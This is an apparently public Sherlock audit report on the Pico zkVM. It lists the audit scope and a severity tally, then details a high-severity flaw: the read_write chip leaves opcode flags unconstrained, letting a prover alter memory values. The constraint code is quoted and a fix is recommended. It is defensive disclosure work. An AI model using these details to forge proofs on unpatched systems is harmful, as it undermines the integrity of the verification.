SHERLOCK

Security Review For Pico

Public Best Efforts Audit Contest Prepared For:	**Pico**
Lead Security Expert:	**cergyk**
Date Audited:	**September 1 - September 29, 2025**

Introduction

Pico is an open-source, modular, and efficient zkVM that enables developers to generate zero-knowledge proofs for Rust programs. This contest focuses on identifying and eliminating potential security vulnerabilities or bugs to ensure Pico's robustness before it is adopted in production by other projects.

Scope

Repository: brevis-network/pico

Audited Commit: 3046e89b1c7bf065b7932d859a06a24920d57531

Final Commit: 3c37ba2b624f49047709bd53bbce9b1deef38e14

Files:

- derive/Cargo.toml
- derive/src/lib.rs
- gnark/babybear/babybear.go
- gnark/babybear_verifier/verifier.go
- gnark/field-ffi/src/babybear.rs
- gnark/field-ffi/src/koalabear.rs
- gnark/field-ffi/src/lib.rs
- gnark/go.mod
- gnark/go.sum
- gnark/koalabear/koalabear.go
- gnark/koalabear_verifier/verifier.go
- gnark/poseidon2/constants.go
- gnark/poseidon2/poseidon2_babybear.go
- gnark/poseidon2/poseidon2.go
- gnark/poseidon2/poseidon2_koalabear.go
- gnark/poseidon2/utils.go
- gnark/README.md
- gnark/sdk/babybear_cmd.go
- gnark/sdk/common.go
- gnark/sdk/koalabear_cmd.go
- gnark/sdk/main/main.go

- gnark/server/main/main.go
- gnark/utils/constraints.go
- scripts/src/bin/build_vk_map.rs
- sdk/cli/src/bin/cargo-pico.rs
- sdk/cli/src/build/build.rs
- sdk/cli/src/build/client.rs
- sdk/cli/src/build/mod.rs
- sdk/cli/src/lib.rs
- sdk/cli/src/subcommand/build.rs
- sdk/cli/src/subcommand/mod.rs
- sdk/cli/src/subcommand/new.rs
- sdk/cli/src/subcommand/prove.rs
- sdk/patch-libs/Cargo.toml
- sdk/patch-libs/src/bls12381.rs
- sdk/patch-libs/src/bn254.rs
- sdk/patch-libs/src/ed25519.rs
- sdk/patch-libs/src/io.rs
- sdk/patch-libs/src/lib.rs
- sdk/patch-libs/src/secp256k1.rs
- sdk/patch-libs/src/unconstrained.rs
- sdk/patch-libs/src/utils.rs
- sdk/patch-libs/src/verify.rs
- sdk/sdk/Cargo.toml
- sdk/sdk/src/client.rs
- sdk/sdk/src/command.rs
- sdk/sdk/src/heap.rs
- sdk/sdk/src/io.rs
- sdk/sdk/src/libm.rs
- sdk/sdk/src/lib.rs
- sdk/sdk/src/m31_client.rs
- sdk/sdk/src/memcpy.s

- sdk/sdk/src/memset.s
- sdk/sdk/src/poseidon2_hash.rs
- sdk/sdk/src/riscv_ecalls/bigint.rs
- sdk/sdk/src/riscv_ecalls/bls12381.rs
- sdk/sdk/src/riscv_ecalls/bn254.rs
- sdk/sdk/src/riscv_ecalls/ed25519.rs
- sdk/sdk/src/riscv_ecalls/fptower.rs
- sdk/sdk/src/riscv_ecalls/halt.rs
- sdk/sdk/src/riscv_ecalls/io.rs
- sdk/sdk/src/riscv_ecalls/keccak_permute.rs
- sdk/sdk/src/riscv_ecalls/memory.rs
- sdk/sdk/src/riscv_ecalls/mod.rs
- sdk/sdk/src/riscv_ecalls/poseidon2.rs
- sdk/sdk/src/riscv_ecalls/secp256k1.rs
- sdk/sdk/src/riscv_ecalls/sha_compress.rs
- sdk/sdk/src/riscv_ecalls/sha_extend.rs
- sdk/sdk/src/riscv_ecalls/sys.rs
- sdk/sdk/src/riscv_ecalls/uint256_mul.rs
- sdk/sdk/src/riscv_ecalls/unconstrained.rs
- sdk/sdk/src/riscv_ecalls/verify.rs
- sdk/sdk/src/verify.rs
- vm/src/chips/chips/alu/add_sub/columns.rs
- vm/src/chips/chips/alu/add_sub/constraints.rs
- vm/src/chips/chips/alu/add_sub/mod.rs
- vm/src/chips/chips/alu/add_sub/traces.rs
- vm/src/chips/chips/alu_base/columns.rs
- vm/src/chips/chips/alu_base/constraints.rs
- vm/src/chips/chips/alu_base/mod.rs
- vm/src/chips/chips/alu_base/traces.rs
- vm/src/chips/chips/alu/bitwise/columns.rs
- vm/src/chips/chips/alu/bitwise/constraints.rs

- vm/src/chips/chips/alu/bitwise/mod.rs
- vm/src/chips/chips/alu/bitwise/traces.rs
- vm/src/chips/chips/alu/divrem/columns.rs
- vm/src/chips/chips/alu/divrem/constraints.rs
- vm/src/chips/chips/alu/divrem/mod.rs
- vm/src/chips/chips/alu/divrem/traces.rs
- vm/src/chips/chips/alu/divrem/utils.rs
- vm/src/chips/chips/alu/event.rs
- vm/src/chips/chips/alu_ext/columns.rs
- vm/src/chips/chips/alu_ext/constraints.rs
- vm/src/chips/chips/alu_ext/mod.rs
- vm/src/chips/chips/alu_ext/traces.rs
- vm/src/chips/chips/alu/lt/columns.rs
- vm/src/chips/chips/alu/lt/constraints.rs
- vm/src/chips/chips/alu/lt/mod.rs
- vm/src/chips/chips/alu/lt/traces.rs
- vm/src/chips/chips/alu/mod.rs
- vm/src/chips/chips/alu/mul/columns.rs
- vm/src/chips/chips/alu/mul/constraints.rs
- vm/src/chips/chips/alu/mul/mod.rs
- vm/src/chips/chips/alu/mul/traces.rs
- vm/src/chips/chips/alu/sll/columns.rs
- vm/src/chips/chips/alu/sll/constraints.rs
- vm/src/chips/chips/alu/sll/mod.rs
- vm/src/chips/chips/alu/sll/traces.rs
- vm/src/chips/chips/alu/sr/columns.rs
- vm/src/chips/chips/alu/sr/constraints.rs
- vm/src/chips/chips/alu/sr/mod.rs
- vm/src/chips/chips/alu/sr/traces.rs
- vm/src/chips/chips/batch_fri/columns.rs
- vm/src/chips/chips/batch_fri/constraints.rs

- vm/src/chips/chips/batch_fri/mod.rs
- vm/src/chips/chips/batch_fri/traces.rs
- vm/src/chips/chips/byte/columns.rs
- vm/src/chips/chips/byte/constraints.rs
- vm/src/chips/chips/byte/event.rs
- vm/src/chips/chips/byte/mod.rs
- vm/src/chips/chips/byte/traces.rs
- vm/src/chips/chips/byte/utils.rs
- vm/src/chips/chips/events.rs
- vm/src/chips/chips/exp_reverse_bits/columns.rs
- vm/src/chips/chips/exp_reverse_bits/constraints.rs
- vm/src/chips/chips/exp_reverse_bits/mod.rs
- vm/src/chips/chips/exp_reverse_bits/traces.rs
- vm/src/chips/chips/mod.rs
- vm/src/chips/chips/poseidon2/constraints.rs
- vm/src/chips/chips/poseidon2/mod.rs
- vm/src/chips/chips/poseidon2/traces.rs
- vm/src/chips/chips/public_values/columns.rs
- vm/src/chips/chips/public_values/constraints.rs
- vm/src/chips/chips/public_values/mod.rs
- vm/src/chips/chips/public_values/traces.rs
- vm/src/chips/chips/recursion_memory/constant/columns.rs
- vm/src/chips/chips/recursion_memory/constant/constraints.rs
- vm/src/chips/chips/recursion_memory/constant/mod.rs
- vm/src/chips/chips/recursion_memory/constant/traces.rs
- vm/src/chips/chips/recursion_memory/mod.rs
- vm/src/chips/chips/recursion_memory/variable/columns.rs
- vm/src/chips/chips/recursion_memory/variable/constraints.rs
- vm/src/chips/chips/recursion_memory/variable/mod.rs
- vm/src/chips/chips/recursion_memory/variable/traces.rs
- vm/src/chips/chips/riscv_cpu/auipc/columns.rs

- vm/src/chips/chips/riscv_cpu/auipc/constraints.rs
- vm/src/chips/chips/riscv_cpu/auipc/mod.rs
- vm/src/chips/chips/riscv_cpu/auipc/traces.rs
- vm/src/chips/chips/riscv_cpu/branch/columns.rs
- vm/src/chips/chips/riscv_cpu/branch/constraints.rs
- vm/src/chips/chips/riscv_cpu/branch/mod.rs
- vm/src/chips/chips/riscv_cpu/branch/traces.rs
- vm/src/chips/chips/riscv_cpu/chunk_clk/constraints.rs
- vm/src/chips/chips/riscv_cpu/chunk_clk/mod.rs
- vm/src/chips/chips/riscv_cpu/chunk_clk/traces.rs
- vm/src/chips/chips/riscv_cpu/columns.rs
- vm/src/chips/chips/riscv_cpu/constraints.rs
- vm/src/chips/chips/riscv_cpu/ecall/columns.rs
- vm/src/chips/chips/riscv_cpu/ecall/constraints.rs
- vm/src/chips/chips/riscv_cpu/ecall/mod.rs
- vm/src/chips/chips/riscv_cpu/ecall/traces.rs
- vm/src/chips/chips/riscv_cpu/event.rs
- vm/src/chips/chips/riscv_cpu/instruction/columns.rs
- vm/src/chips/chips/riscv_cpu/instruction/mod.rs
- vm/src/chips/chips/riscv_cpu/jump/columns.rs
- vm/src/chips/chips/riscv_cpu/jump/constraints.rs
- vm/src/chips/chips/riscv_cpu/jump/mod.rs
- vm/src/chips/chips/riscv_cpu/jump/traces.rs
- vm/src/chips/chips/riscv_cpu/mod.rs
- vm/src/chips/chips/riscv_cpu/opcode_selector/columns.rs
- vm/src/chips/chips/riscv_cpu/opcode_selector/mod.rs
- vm/src/chips/chips/riscv_cpu/opcode_specific/columns.rs
- vm/src/chips/chips/riscv_cpu/opcode_specific/mod.rs
- vm/src/chips/chips/riscv_cpu/public_values/constraints.rs
- vm/src/chips/chips/riscv_cpu/public_values/mod.rs
- vm/src/chips/chips/riscv_cpu/register/constraints.rs

- vm/src/chips/chips/riscv_cpu/register/mod.rs
- vm/src/chips/chips/riscv_cpu/traces.rs
- vm/src/chips/chips/riscv_cpu/utils.rs
- vm/src/chips/chips/riscv_global/columns.rs
- vm/src/chips/chips/riscv_global/constraints.rs
- vm/src/chips/chips/riscv_global/event.rs
- vm/src/chips/chips/riscv_global/mod.rs
- vm/src/chips/chips/riscv_global/traces.rs
- vm/src/chips/chips/riscv_memory/event.rs
- vm/src/chips/chips/riscv_memory/initialize_finalize/columns.rs
- vm/src/chips/chips/riscv_memory/initialize_finalize/constraints.rs
- vm/src/chips/chips/riscv_memory/initialize_finalize/mod.rs
- vm/src/chips/chips/riscv_memory/initialize_finalize/traces.rs
- vm/src/chips/chips/riscv_memory/local/columns.rs
- vm/src/chips/chips/riscv_memory/local/constraints.rs
- vm/src/chips/chips/riscv_memory/local/mod.rs
- vm/src/chips/chips/riscv_memory/local/traces.rs
- vm/src/chips/chips/riscv_memory/mod.rs
- vm/src/chips/chips/riscv_memory/read_write/columns.rs
- vm/src/chips/chips/riscv_memory/read_write/constraints.rs
- vm/src/chips/chips/riscv_memory/read_write/mod.rs
- vm/src/chips/chips/riscv_memory/read_write/traces.rs
- vm/src/chips/chips/riscv_poseidon2/constraints.rs
- vm/src/chips/chips/riscv_poseidon2/event.rs
- vm/src/chips/chips/riscv_poseidon2/mod.rs
- vm/src/chips/chips/riscv_poseidon2/traces.rs
- vm/src/chips/chips/riscv_program/columns.rs
- vm/src/chips/chips/riscv_program/constraints.rs
- vm/src/chips/chips/riscv_program/mod.rs
- vm/src/chips/chips/riscv_program/traces.rs
- vm/src/chips/chips/select/columns.rs

- vm/src/chips/chips/select/constraints.rs
- vm/src/chips/chips/select/mod.rs
- vm/src/chips/chips/select/trace.rs
- vm/src/chips/chips/syscall/columns.rs
- vm/src/chips/chips/syscall/constraints.rs
- vm/src/chips/chips/syscall/mod.rs
- vm/src/chips/chips/syscall/traces.rs
- vm/src/chips/chips/toys/lookup_toy.rs
- vm/src/chips/chips/toys/mod.rs
- vm/src/chips/chips/toys/toy.rs
- vm/src/chips/gadgets/add4.rs
- vm/src/chips/gadgets/add5.rs
- vm/src/chips/gadgets/add.rs
- vm/src/chips/gadgets/and.rs
- vm/src/chips/gadgets/curves/edwards/ed25519.rs
- vm/src/chips/gadgets/curves/edwards/mod.rs
- vm/src/chips/gadgets/curves/mod.rs
- vm/src/chips/gadgets/curves/scalar_mul.rs
- vm/src/chips/gadgets/curves/weierstrass/bls381.rs
- vm/src/chips/gadgets/curves/weierstrass/bn254.rs
- vm/src/chips/gadgets/curves/weierstrass/mod.rs
- vm/src/chips/gadgets/curves/weierstrass/secp256k1.rs
- vm/src/chips/gadgets/field/bls381.rs
- vm/src/chips/gadgets/field/bn254.rs
- vm/src/chips/gadgets/field/field_den.rs
- vm/src/chips/gadgets/field/field_inner_product.rs
- vm/src/chips/gadgets/field/field_lt.rs
- vm/src/chips/gadgets/field/field_op.rs
- vm/src/chips/gadgets/field/field_sqrt.rs
- vm/src/chips/gadgets/field/mod.rs
- vm/src/chips/gadgets/field_range_check/bit_decomposition.rs

- vm/src/chips/gadgets/field_range_check/mod.rs
- vm/src/chips/gadgets/field_range_check/word_range.rs
- vm/src/chips/gadgets/field/secp256k1.rs
- vm/src/chips/gadgets/field/utils.rs
- vm/src/chips/gadgets/fixed_rotate_right.rs
- vm/src/chips/gadgets/fixed_shift_right.rs
- vm/src/chips/gadgets/global_accumulation.rs
- vm/src/chips/gadgets/global_interaction.rs
- vm/src/chips/gadgets/is_equal_word.rs
- vm/src/chips/gadgets/is_zero.rs
- vm/src/chips/gadgets/is_zero_word.rs
- vm/src/chips/gadgets/lt.rs
- vm/src/chips/gadgets/mod.rs
- vm/src/chips/gadgets/not.rs
- vm/src/chips/gadgets/poseidon2/columns.rs
- vm/src/chips/gadgets/poseidon2/constants.rs
- vm/src/chips/gadgets/poseidon2/constraints.rs
- vm/src/chips/gadgets/poseidon2/mod.rs
- vm/src/chips/gadgets/poseidon2/traces.rs
- vm/src/chips/gadgets/poseidon2/utils.rs
- vm/src/chips/gadgets/uint256/mod.rs
- vm/src/chips/gadgets/utils/conversions.rs
- vm/src/chips/gadgets/utils/field_params.rs
- vm/src/chips/gadgets/utils/limbs.rs
- vm/src/chips/gadgets/utils/mod.rs
- vm/src/chips/gadgets/utils/polynomial.rs
- vm/src/chips/gadgets/xor.rs
- vm/src/chips/mod.rs
- vm/src/chips/precompiles/edwards/ed_add.rs
- vm/src/chips/precompiles/edwards/ed_decompress.rs
- vm/src/chips/precompiles/edwards/mod.rs

- vm/src/chips/precompiles/fptower/fp2_addsub.rs
- vm/src/chips/precompiles/fptower/fp2_mul.rs
- vm/src/chips/precompiles/fptower/fp.rs
- vm/src/chips/precompiles/fptower/mod.rs
- vm/src/chips/precompiles/keccak256/columns.rs
- vm/src/chips/precompiles/keccak256/constraint.rs
- vm/src/chips/precompiles/keccak256/mod.rs
- vm/src/chips/precompiles/keccak256/traces.rs
- vm/src/chips/precompiles/mod.rs
- vm/src/chips/precompiles/poseidon2/columns.rs
- vm/src/chips/precompiles/poseidon2/constraints.rs
- vm/src/chips/precompiles/poseidon2/mod.rs
- vm/src/chips/precompiles/poseidon2/traces.rs
- vm/src/chips/precompiles/sha256/compress/columns.rs
- vm/src/chips/precompiles/sha256/compress/constraints.rs
- vm/src/chips/precompiles/sha256/compress/mod.rs
- vm/src/chips/precompiles/sha256/compress/trace.rs
- vm/src/chips/precompiles/sha256/extend/columns.rs
- vm/src/chips/precompiles/sha256/extend/constraints.rs
- vm/src/chips/precompiles/sha256/extend/flags.rs
- vm/src/chips/precompiles/sha256/extend/mod.rs
- vm/src/chips/precompiles/sha256/extend/trace.rs
- vm/src/chips/precompiles/sha256/mod.rs
- vm/src/chips/precompiles/uint256/columns.rs
- vm/src/chips/precompiles/uint256/constraints.rs
- vm/src/chips/precompiles/uint256/mod.rs
- vm/src/chips/precompiles/uint256/traces.rs
- vm/src/chips/precompiles/weierstrass/mod.rs
- vm/src/chips/precompiles/weierstrass/weierstrass_add.rs
- vm/src/chips/precompiles/weierstrass/weierstrass_decompress.rs
- vm/src/chips/precompiles/weierstrass/weierstrass_double.rs

- vm/src/chips/trace.rs
- vm/src/chips/utils.rs
- vm/src/compiler/mod.rs
- vm/src/compiler/program.rs
- vm/src/compiler/recursion/circuit/builder.rs
- vm/src/compiler/recursion/circuit/challenger.rs
- vm/src/compiler/recursion/circuit/config.rs
- vm/src/compiler/recursion/circuit/constraints.rs
- vm/src/compiler/recursion/circuit/domain.rs
- vm/src/compiler/recursion/circuit/fri.rs
- vm/src/compiler/recursion/circuit/hash.rs
- vm/src/compiler/recursion/circuit/merkle_tree.rs
- vm/src/compiler/recursion/circuit/mod.rs
- vm/src/compiler/recursion/circuit/stark.rs
- vm/src/compiler/recursion/circuit/types.rs
- vm/src/compiler/recursion/circuit/utils.rs
- vm/src/compiler/recursion/circuit/witness/embed.rs
- vm/src/compiler/recursion/circuit/witness/mod.rs
- vm/src/compiler/recursion/circuit/witness/stark.rs
- vm/src/compiler/recursion/circuit/witness/witnessable.rs
- vm/src/compiler/recursion/constraints/mod.rs
- vm/src/compiler/recursion/constraints/opcodes.rs
- vm/src/compiler/recursion/instruction.rs
- vm/src/compiler/recursion/ir/arithmetic.rs
- vm/src/compiler/recursion/ir/bits.rs
- vm/src/compiler/recursion/ir/block.rs
- vm/src/compiler/recursion/ir/builder.rs
- vm/src/compiler/recursion/ir/collections.rs
- vm/src/compiler/recursion/ir/compiler.rs
- vm/src/compiler/recursion/ir/instructions.rs
- vm/src/compiler/recursion/ir/mod.rs

- vm/src/compiler/recursion/ir/ptr.rs
- vm/src/compiler/recursion/ir/symbolic.rs
- vm/src/compiler/recursion/ir/types.rs
- vm/src/compiler/recursion/ir/utils.rs
- vm/src/compiler/recursion/ir/var.rs
- vm/src/compiler/recursion/mod.rs
- vm/src/compiler/recursion/program.rs
- vm/src/compiler/recursion/types.rs
- vm/src/compiler/riscv/compiler.rs
- vm/src/compiler/riscv/disassembler/elf.rs
- vm/src/compiler/riscv/disassembler/mod.rs
- vm/src/compiler/riscv/disassembler/rrs.rs
- vm/src/compiler/riscv/instruction.rs
- vm/src/compiler/riscv/mod.rs
- vm/src/compiler/riscv/opcode.rs
- vm/src/compiler/riscv/program.rs
- vm/src/compiler/riscv/register.rs
- vm/src/compiler/word.rs
- vm/src/configs/config.rs
- vm/src/configs/field_config/bb_bn254.rs
- vm/src/configs/field_config/bb_simple.rs
- vm/src/configs/field_config/kb_bn254.rs
- vm/src/configs/field_config/kb_simple.rs
- vm/src/configs/field_config/mod.rs
- vm/src/configs/mod.rs
- vm/src/configs/stark_config/bb_bn254_poseidon2.rs
- vm/src/configs/stark_config/bb_poseidon2.rs
- vm/src/configs/stark_config/kb_bn254_poseidon2.rs
- vm/src/configs/stark_config/kb_poseidon2.rs
- vm/src/configs/stark_config/m31_poseidon2.rs
- vm/src/configs/stark_config/mod.rs

- vm/src/emulator/emulator.rs
- vm/src/emulator/mod.rs
- vm/src/emulator/opts.rs
- vm/src/emulator/record.rs
- vm/src/emulator/recursion/emulator/memory.rs
- vm/src/emulator/recursion/emulator/mod.rs
- vm/src/emulator/recursion/emulator/opcode.rs
- vm/src/emulator/recursion/mod.rs
- vm/src/emulator/recursion/public_values.rs
- vm/src/emulator/recursion/record.rs
- vm/src/emulator/riscv/emulator/instruction.rs
- vm/src/emulator/riscv/emulator/instruction_simple.rs
- vm/src/emulator/riscv/emulator/mode.rs
- vm/src/emulator/riscv/emulator/mod.rs
- vm/src/emulator/riscv/emulator/unconstrained.rs
- vm/src/emulator/riscv/emulator/util.rs
- vm/src/emulator/riscv/hook/ecrecover.rs
- vm/src/emulator/riscv/hook/ed_decompress.rs
- vm/src/emulator/riscv/hook/mod.rs
- vm/src/emulator/riscv/memory.rs
- vm/src/emulator/riscv/mod.rs
- vm/src/emulator/riscv/public_values.rs
- vm/src/emulator/riscv/record.rs
- vm/src/emulator/riscv/state.rs
- vm/src/emulator/riscv/syscalls/code.rs
- vm/src/emulator/riscv/syscalls/commit.rs
- vm/src/emulator/riscv/syscalls/deferred.rs
- vm/src/emulator/riscv/syscalls/halt.rs
- vm/src/emulator/riscv/syscalls/hint.rs
- vm/src/emulator/riscv/syscalls/mod.rs
- vm/src/emulator/riscv/syscalls/precompiles/ec/event.rs

- vm/src/emulator/riscv/syscalls/precompiles/ec/mod.rs
- vm/src/emulator/riscv/syscalls/precompiles/edwards/add.rs
- vm/src/emulator/riscv/syscalls/precompiles/edwards/decompress.rs
- vm/src/emulator/riscv/syscalls/precompiles/edwards/event.rs
- vm/src/emulator/riscv/syscalls/precompiles/edwards/mod.rs
- vm/src/emulator/riscv/syscalls/precompiles/fptower/event.rs
- vm/src/emulator/riscv/syscalls/precompiles/fptower/fp2_addsub.rs
- vm/src/emulator/riscv/syscalls/precompiles/fptower/fp2_mul.rs
- vm/src/emulator/riscv/syscalls/precompiles/fptower/fp.rs
- vm/src/emulator/riscv/syscalls/precompiles/fptower/mod.rs
- vm/src/emulator/riscv/syscalls/precompiles/keccak256/event.rs
- vm/src/emulator/riscv/syscalls/precompiles/keccak256/mod.rs
- vm/src/emulator/riscv/syscalls/precompiles/keccak256/permute.rs
- vm/src/emulator/riscv/syscalls/precompiles/mod.rs
- vm/src/emulator/riscv/syscalls/precompiles/poseidon2/event.rs
- vm/src/emulator/riscv/syscalls/precompiles/poseidon2/mod.rs
- vm/src/emulator/riscv/syscalls/precompiles/poseidon2/permute.rs
- vm/src/emulator/riscv/syscalls/precompiles/sha256/compress.rs
- vm/src/emulator/riscv/syscalls/precompiles/sha256/event.rs
- vm/src/emulator/riscv/syscalls/precompiles/sha256/extend.rs
- vm/src/emulator/riscv/syscalls/precompiles/sha256/mod.rs
- vm/src/emulator/riscv/syscalls/precompiles/uint256/event.rs
- vm/src/emulator/riscv/syscalls/precompiles/uint256/mod.rs
- vm/src/emulator/riscv/syscalls/precompiles/uint256/syscall.rs
- vm/src/emulator/riscv/syscalls/precompiles/weierstrass/add.rs
- vm/src/emulator/riscv/syscalls/precompiles/weierstrass/decompress.rs
- vm/src/emulator/riscv/syscalls/precompiles/weierstrass/double.rs
- vm/src/emulator/riscv/syscalls/precompiles/weierstrass/mod.rs
- vm/src/emulator/riscv/syscalls/syscall_context.rs
- vm/src/emulator/riscv/syscalls/unconstrained.rs
- vm/src/emulator/riscv/syscalls/verify.rs

- vm/src/emulator/riscv/syscalls/write.rs
- vm/src/emulator/stdin.rs
- vm/src/instances/chiptype/chiptype_macros/define_chip_type.rs
- vm/src/instances/chiptype/chiptype_macros/enum_chip_type.rs
- vm/src/instances/chiptype/chiptype_macros/impl_air.rs
- vm/src/instances/chiptype/chiptype_macros/impl_base_air.rs
- vm/src/instances/chiptype/chiptype_macros/impl_chip_behavior.rs
- vm/src/instances/chiptype/chiptype_macros/mod.rs
- vm/src/instances/chiptype/mod.rs
- vm/src/instances/chiptype/recursion_chiptype.rs
- vm/src/instances/chiptype/riscv_chiptype.rs
- vm/src/instances/compiler/mod.rs
- vm/src/instances/compiler/onchain_circuit/gnark/builder.rs
- vm/src/instances/compiler/onchain_circuit/gnark/mod.rs
- vm/src/instances/compiler/onchain_circuit/gnark/witness.rs
- vm/src/instances/compiler/onchain_circuit/mod.rs
- vm/src/instances/compiler/onchain_circuit/stdin.rs
- vm/src/instances/compiler/onchain_circuit/utils.rs
- vm/src/instances/compiler/recursion_circuit/combine/builder.rs
- vm/src/instances/compiler/recursion_circuit/combine/mod.rs
- vm/src/instances/compiler/recursion_circuit/compress/builder.rs
- vm/src/instances/compiler/recursion_circuit/compress/mod.rs
- vm/src/instances/compiler/recursion_circuit/embed/builder.rs
- vm/src/instances/compiler/recursion_circuit/embed/mod.rs
- vm/src/instances/compiler/recursion_circuit/mod.rs
- vm/src/instances/compiler/recursion_circuit/stdin.rs
- vm/src/instances/compiler/riscv_circuit/convert/builder.rs
- vm/src/instances/compiler/riscv_circuit/convert/mod.rs
- vm/src/instances/compiler/riscv_circuit/deferred/builder.rs
- vm/src/instances/compiler/riscv_circuit/deferred/mod.rs
- vm/src/instances/compiler/riscv_circuit/mod.rs

- vm/src/instances/compiler/riscv_circuit/stdin.rs
- vm/src/instances/compiler/shapes/mod.rs
- vm/src/instances/compiler/shapes/recursion_shape.rs
- vm/src/instances/compiler/shapes/riscv_shape.rs
- vm/src/instances/compiler/shape_vk_bins/vk_map_bb.bin
- vm/src/instances/compiler/shape_vk_bins/vk_map_kb.bin
- vm/src/instances/compiler/simple_circuit/builder.rs
- vm/src/instances/compiler/simple_circuit/mod.rs
- vm/src/instances/compiler/simple_circuit/stdin.rs
- vm/src/instances/compiler/vk_merkle/builder.rs
- vm/src/instances/compiler/vk_merkle/mod.rs
- vm/src/instances/compiler/vk_merkle/stdin.rs
- vm/src/instances/compiler/witness.rs
- vm/src/instances/configs/embed_bb_bn254_poseidon2.rs
- vm/src/instances/configs/embed_kb_bn254_poseidon2.rs
- vm/src/instances/configs/mod.rs
- vm/src/instances/configs/recur_bb_poseidon2.rs
- vm/src/instances/configs/recur_kb_poseidon2.rs
- vm/src/instances/configs/recur_m31_poseidon2.rs
- vm/src/instances/configs/riscv_bb_poseidon2.rs
- vm/src/instances/configs/riscv_kb_poseidon2.rs
- vm/src/instances/configs/riscv_m31_poseidon2.rs
- vm/src/instances/machine/combine.rs
- vm/src/instances/machine/compress.rs
- vm/src/instances/machine/convert.rs
- vm/src/instances/machine/deferred.rs
- vm/src/instances/machine/embed.rs
- vm/src/instances/machine/mod.rs
- vm/src/instances/machine/riscv.rs
- vm/src/instances/machine/simple.rs
- vm/src/instances/mod.rs

- vm/src/iter/mod.rs
- vm/src/iter/rayon/impls.rs
- vm/src/iter/rayon/mod.rs
- vm/src/iter/single/impls.rs
- vm/src/iter/single/mod.rs
- vm/src/lib.rs
- vm/src/machine/builder/base.rs
- vm/src/machine/builder/extension.rs
- vm/src/machine/builder/lookup.rs
- vm/src/machine/builder/mod.rs
- vm/src/machine/builder/permutation.rs
- vm/src/machine/builder/public_values.rs
- vm/src/machine/builder/range_check.rs
- vm/src/machine/builder/recursion.rs
- vm/src/machine/builder/riscv_memory.rs
- vm/src/machine/builder/scoped.rs
- vm/src/machine/builder/septic.rs
- vm/src/machine/builder/sub_builder.rs
- vm/src/machine/builder/word.rs
- vm/src/machine/chip.rs
- vm/src/machine/debug/constraints.rs
- vm/src/machine/debug/lookups.rs
- vm/src/machine/debug/mod.rs
- vm/src/machine/extension.rs
- vm/src/machine/field.rs
- vm/src/machine/folder.rs
- vm/src/machine/keys.rs
- vm/src/machine/logger.rs
- vm/src/machine/lookup.rs
- vm/src/machine/machine.rs
- vm/src/machine/mod.rs

- vm/src/machine/permutation.rs
- vm/src/machine/proof.rs
- vm/src/machine/prover.rs
- vm/src/machine/septic/curve.rs
- vm/src/machine/septic/digest.rs
- vm/src/machine/septic/extension.rs
- vm/src/machine/septic/fields/babybear.rs
- vm/src/machine/septic/fields/dummy.rs
- vm/src/machine/septic/fields/koalabear.rs
- vm/src/machine/septic/fields/mersenne31.rs
- vm/src/machine/septic/fields/mod.rs
- vm/src/machine/septic/mod.rs
- vm/src/machine/septic/tests/babybear.rs
- vm/src/machine/septic/tests/koalabear.rs
- vm/src/machine/septic/tests/mersenne31.rs
- vm/src/machine/septic/tests/mod.rs
- vm/src/machine/septic/tests/utils.rs
- vm/src/machine/utils.rs
- vm/src/machine/verifier.rs
- vm/src/machine/witness.rs
- vm/src/primitives/consts.rs
- vm/src/primitives/mod.rs
- vm/src/primitives/poseidon2/babybear.rs
- vm/src/primitives/poseidon2/koalabear.rs
- vm/src/primitives/poseidon2/mersenne31.rs
- vm/src/primitives/poseidon2/mod.rs
- vm/src/proverchain/combine.rs
- vm/src/proverchain/compress.rs
- vm/src/proverchain/convert.rs
- vm/src/proverchain/deferred.rs
- vm/src/proverchain/embed.rs

- vm/src/proverchain/mod.rs
- vm/src/proverchain/riscv.rs
- vm/src/thread/channel.rs
- vm/src/thread/mod.rs

Final Commit Hash

3c37ba2b624f49047709bd53bbce9b1deef38e14

Findings

Each issue has an assigned severity:

- High issues are directly exploitable security vulnerabilities that need to be fixed.
- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.

Issues Found

High	Medium
10	5

Issues Not Fixed and Not Acknowledged

High	Medium
0	0

Security experts who found valid issues

0xgh0st
0xpetern
0xzey
1AutumnLeaf777
Consigliere
MissDida
cergyk
duha
kimnoic
poetyellow

Issue H-1: read_write chip does not enforce constraints on opcode selectors

Source: https://github.com/sherlock-audit/2025-08-pico-judging/issues/62

Found by

0xpetern, 1AutumnLeaf777, MissDida, cergyk

Description

When calling on an opcode for reading/writing to memory, a lookup is made to the `read_write` chip. Unfortunately the lookup only enforces the correct used `opcode`, and `a`, `b`, `c` registers:

read_write/constraints.rs#L41-L47:

```
builder.looked_instruction(
    local_memory_chip_value_cols.instruction.opcode,
    local_memory_chip_value_cols.op_a_val(),
    local_memory_chip_value_cols.op_b_val(),
    local_memory_chip_value_cols.op_c_val(),
    is_memory_instruction.clone(),
);
```

As we can see, the flags available in `local_memory_chip_value_cols.instruction`: `op_a_0`, `is_lb`, `is_lbu`, `is_lh`, `is_lhu`, `is_lw`, `is_sb`, `is_sh`, `is_sw` are not enforced, and can be used freely by the prover to change the read value (`op_a_val`) or the write.

read_write/columns.rs#L97-L119:

```
#[derive(AlignedBorrow, Clone, Copy, Debug, Default)]
#[repr(C)]
pub struct MemoryInstructionCols<T> {
    /// The opcode for this cycle.
    pub opcode: T,


    /// Flags to indicate if op_a is register 0.

    //@audit this flag is not constrained in the read_write chip
    pub op_a_0: T,

    /// Memory Instructions.
    //@audit these flags are not constrained in the read_write chip
    pub is_lb: T,
    pub is_lbu: T,
    pub is_lh: T,
    pub is_lhu: T,
    pub is_lw: T,
    pub is_sb: T,
    pub is_sh: T,
    pub is_sw: T,


    pub op_a_access: MemoryReadWriteCols<T>,
    pub op_b_access: MemoryReadCols<T>,
    pub op_c_access: MemoryReadCols<T>,
}
```

Recommendation

These flags are correctly enforced in the main chip, through the program lookup, but they are not constrained in the `read_write` chip.

```
// Contrain the interaction with program table.
self.looking_program(
    builder,
    local.pc,
    //@audit here the whole instruction with its opcode selectors is looked up.
    local.instruction,
    local.opcode_selector,
    local.is_real,
);
```

Please consider constraining the whole instruction w/ opcode selector and op_a_0 in `read_write` chip.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/brevis-network/pico/pull/61

Issue H-2: Word range check uses unconstrained `upper_all_one` local variable when field prime is `Mersenne31`

Source: https://github.com/sherlock-audit/2025-08-pico-judging/issues/69

Found by

0xpetern, 1AutumnLeaf777, MissDida, cergyk

Description

